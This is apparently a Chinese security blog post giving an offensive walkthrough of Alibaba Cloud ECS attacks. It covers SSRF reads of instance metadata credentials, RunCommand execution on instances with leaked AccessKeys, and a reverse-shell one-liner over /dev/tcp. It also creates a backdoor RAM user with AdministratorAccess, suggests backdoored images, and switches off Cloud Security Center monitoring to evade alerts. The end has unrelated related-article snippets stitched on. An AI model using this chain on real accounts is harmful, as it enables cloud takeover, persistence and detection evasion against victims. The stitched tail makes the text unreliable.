云安全【阿里云ECS攻防】
关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区
一、初始化访问
1、元数据
1.1、SSRF导致读取元数据
如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证
如果配置RAM角色
在获取ram临时凭证的时候,有一个必要的条件
- 当前ECS必须被授予了RAM
首先我们来看一下没有授予权限的机器
访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次
-
注意
- 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
-
如果权限较小的话,也无法进行更多的横向操作
2、AK密钥泄露
云场景下的凭证泄露可以分成以下几种:
-
控制台账号密码泄露,例如登录控制台的账号密码
-
临时凭证泄露
-
访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
-
实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:
-
Github 敏感信息搜索
-
反编译目标 APK、小程序
-
目标网站源代码泄露
2.1、执行任意命令
首先如果使用Aliyun的CLi作为演示
aliyun ecs DescribeInstances
我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中
我们可以看到这里有一个InstanceId
随后使用下面的命令,可以在ECS上执行命令
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"
2.2、反弹shell
在新服务器中开启NC
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"
随后使用aliyun cli输入命令
2.3、创建RAM账号登录控制台
获取到泄露的AK之后,可以通过写入RAM账户登录
首先在aliyun cli中配置泄露的AKID等信息
2.3.1、GetAccountAlias接口
通过调用GetAccountAlias接口查看账号别名
官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心
aliyun ram GetAccountAlias
2.3.2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx
2.3.3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx
2.3.4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx
2.3.5、登录控制台
在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?
我们只需要使用以下命令获取到ID放在@符号后边即可
aliyun ram GetAccountAlias
3、恶意的镜像
获取控制台权限后,可导入存在后门的镜像
下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。
三、命令执行
1、接管控制台
在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台
我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色
例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404
尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个
-
阿里云账号
-
阿里云服务
首先我们来看一下阿里云账号
随后创建完成需要给角色授权
此时我们选择所有阿里云资源权限
随后来到ECS添加授权会发现无法添加
既然这样,在选择角色的时候如果选择阿里云服务
随后选择一样的权限
然后回到ECS中,请求元数据看是否存在RAM目录
在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名
此时我们再请求Service即可获得临时凭证
采坑
这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数
这里的解决办法就是在配置的时候加上一个--mode
参数即可
aliyun configure --mode StsToken
随后我们创建新的RAM角色登录控制台
1.1、创建RAM角色账户登录控制台
1、GetAccountAlias
通过调用GetAccountAlias接口查看账号别名
官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心
aliyun ram GetAccountAlias
2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx
3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx
4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx
5、登录控制台
此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?
aliyun ram GetAccountAlias
使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可
随后输入我们设置的密码即可
随后我们成功登录了控制台
6、注意
如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的
四、权限维持
1 、云函数
通过云函数的方式创建后门
2、后门镜像
获取控制台权限后,可导入存在后门的镜像
下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。
3、创建访问密钥
4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias
通过调用GetAccountAlias接口查看账号别名
官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心
aliyun ram GetAccountAlias
2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx
3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx
4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx
5、登录控制台
此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?
aliyun ram GetAccountAlias
使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可
随后输入我们设置的密码即可
随后我们成功登录了控制台
五、防御绕过
1、关闭安全监控服务
正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行)
如果我们强制Kill就会收到告警
可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了
并且我们不会收到告警
六、信息收集
1、元数据
在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据
tIps
有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户
详情请看【命令执行那一栏】
2、子网信息
在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。
七、横向移动
1、访问凭证
当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。
相关文章:

云安全【阿里云ECS攻防】
关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区 一、初始化访问 1、元数据 1.1、SSRF导致读取元数据 如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证 如果配置RAM角色 在获取ram临时凭证的时候ÿ…...
TBSS数据分析
tbss分析基本流程: 步骤一,指标解算:求解出FA,MD,AD,RD指标 #!/bin/bash #基于体素的形态学分析VBA path/media/kui/Passport5T/DATA_help/TBSS/row_data mkdir ${path}/Results_DTI_tbss mkdir ${path}/R…...
【单调队列】 239. 滑动窗口最大值
239. 滑动窗口最大值 解题思路 计算每一个滑动窗口的最大值 关键在于借助单调队列实现窗口对于单调队列 尾部添加元素 头部删除元素添加元素操作:从尾部开始循环对比 删除比当前元素小的元素获取最大值元素 直接获取头部元素删除元素操作 直接删除头部元素 class…...

Spring实例化源码解析之ComponentScanAnnotationParser(四)
上一章我们分析了ConfigurationClassParser,配置类的解析源码分析。在ComponentScans和ComponentScan注解修饰的候选配置类的解析过程中,我们需要深入的了解一下ComponentScanAnnotationParser的parse执行流程,SpringBoot启动类为什么这么写&…...
MySQL - 外键(foreign key)约束的作用和使用
什么是外键约束? 外键:用来让两张表的数据之间建立连接,从而保证数据的一致性和完整性。 外键约束是用于建立两个表之间关系的一种约束,它定义了一个表中的列与另一个表中的列之间的关系。外键约束可以保证数据的完整性和一致性…...

前端开发之服务器的基本概念与初识Ajax
1,服务器的基本概念与初识Ajax 1.1 URL地址的组成部分 1.2 客户端与服务器的通信过程 1.3 网页中如何请求数据 1.4 $.get()函数 1.4.1 $.get()函数的语法 // jQuery 中 $.get() 函数的功能单一,专门用来发起 get 请求,从而将服务器上的资源…...
数据结构排序算法---八大排序复杂度及代码实现
文章目录 一、冒泡排序代码实现 二、直接插入排序代码实现 三、希尔排序代码实现 四、选择排序代码实现 五、堆排序代码实现 六、快速排序代码实现 七、归并排序代码实现 八、计数排序代码实现 稳定性:相同的数据排序后,相对位置是否发生改变 一、冒泡排…...
GMS之Launcher中去除默认Search或替换为Chrome Search
将Launcher中搜索框去除 将FeatureFlags.java文件中的QSB_ON_FIRST_SCREEN变量修改为false \system\vendor\mediatek\proprietary\packages\apps\Launcher3\src\com\android\launcher3\config\FeatureFlags.java/*** Defines a set of flags used to control various launche…...

@DateTimeFormat 和 @JsonFormat 的详细研究
关于这两个时间转化注解,先说结论 一、介绍 1、DateTimeFormat DateTimeFormat 并不会根据得到其属性 pattern 把前端传入的数据转换成自己想要的格式,而是将前端的String类型数据封装到Date类型;其次它的 pattern 属性是用来规范前端传入…...

nodejs基于Vue.js健身体育器材用品商城购物网97794
管理员端的功能主要是开放给系统的管理人员使用,能够对用户的信息进行管理,包括对用户、健身器材、器材类型、系统和订单进行查看,修改和删除、新增等,对系统整体运行情况进行了解。用户的功能主要是对个人账号和密码进行更新信息…...
C#WPF框架Microsoft.Toolkit.MvvM应用实例
本文实例演示C#WPF框架Microsoft.Toolkit.MvvM应用 目录 一、MVVM概述 二、MVVMLight概述 三、使用Microsoft.Toolkit.Mvvm框架 一、MVVM概述 MVVM概述MVVM是Model-View-ViewModel的简写,主要目的是为了解耦视图(View)和模型(Model)。...

蓝桥杯每日一题2023.9.27
4408. 李白打酒加强版 - AcWing题库 题目描述 题目分析 对于这题我们发现有三个变量,店,花,酒的数量,对于这种范围我们使用DP来进行分析。 dp[i][j][k]我们表示有i个店,j朵花,k单位酒的集合,…...

Redis与分布式-主从复制
接上文 常用中间件-OAuth2 1.主从复制 启动两个redis服务器。 修改第一个服务器地址 修改第二个redis 然后分别启动 redis-server.exe redis.windows.conf) 查看当前服务器的主从状态,打开客户端:输入info replication命令来查看当前的主从状态&am…...

QT pyside2 线程嵌套子线程 实现开始运行和停止运行
文章目录 前言为什么要使用多线程 一、单个线程实现按钮方法的执行二、线程嵌套多个子线程实现按钮方法的执行三、QT GUI常用代码3.1 多线程取出队列任务循环执行,无停止3.2 将某个方法放在线程中执行3.3 QT pyside2 tableWidget 清除日志3.4 退出整个GUI程序(杀死进…...

江西广电会展集团总经理李悦一行莅临拓世科技集团调研参观,科技璀璨AIGC掀新潮
在江西这片充满活力的土地上,数字经济如潮水般涌动,会展文化与科技的完美结合,正如新时代的璀璨繁星照亮夜空,更预示着一场AIGC创新的壮丽篇章即将展开。作为拓世科技集团的老朋友,江西广电多位领导多次莅临拓世科技集…...
【RabbitMQ实战】06 RabbitMQ配置
一、概述 一般情况下,可以使用默认的内建配置来有效地运行RabbitMQ,并且大多数情况下也并不需要修改任何 RabbitMQ的配置。当然,为了更加有效地操控 RabbitMQ,也可以利用调节系统范围内的参数来达到定制化的需求。 RabbitMQ提供…...

CTF 全讲解:[SWPUCTF 2021 新生赛]jicao
文章目录 参考环境题目index.phphighlight_file()include()多次调用,多次执行单次调用,单次执行 $_POST超全局变量HackBarHackBar 插件的获取 $_POST打开 HackBar 插件通过 HackBar 插件发起 POST 请求 GET 请求查询字符串超全局变量 $_GET JSONJSON 数据…...

FL Studio21.1电脑试用体验版音乐制作软件
我一直以来对音乐艺术都很感兴趣。最近我接触到了一款名为 FL Studio 的电脑版音乐制作软件,深感其强大功能和广泛适用性。通过使用这款软件,我不仅深入了解了音乐制作的过程与技巧,也加深了对音乐创作的理解。 FL Studio 最初是一款针对 MI…...
【数据结构】单链表的基本操作(节点建立、插入删除)
1. 单链表的基本操作 1.1. 链表的定义1.2. 链表的创建(初始化) 1.2.1. 不带头结点的链表1.2.2. 带头结点的链表 1.3. 链表的插入和删除 1.3.1. 按位序插入 1.3.1.1. 带头结点1.3.1.2. 不带头结点 1.3.2. 指定节点的后插操作1.3.3. 指定元素的前插操作1.3…...

DEM格式转换:转换NSDTF-DEM国标数据格式为通用格式,使用ArcGIS工具转换NSDTF-DEM国标.dem文件为通用.tif格式。
DEM格式转换:转换NSDTF-DEM国标数据格式为通用格式,使用ArcGIS工具转换NSDTF-DEM国标.dem文件为通用.tif格式。 *.dem是一种比较常见的DEM数据格式,其有两种文件组织方式,即NSDTF-DEM和USGS-DEM。 (1)NSDT…...

网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
《Playwright:微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络,将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具,支持 Chrome、Firefox、Safari 等主流浏览器,提供多语言 API(Python、JavaScript、Java、.NET)。它的特点包括&a…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配
AI3D视觉的工业赋能者 迁移科技成立于2017年,作为行业领先的3D工业相机及视觉系统供应商,累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成,通过稳定、易用、高回报的AI3D视觉系统,为汽车、新能源、金属制造等行…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...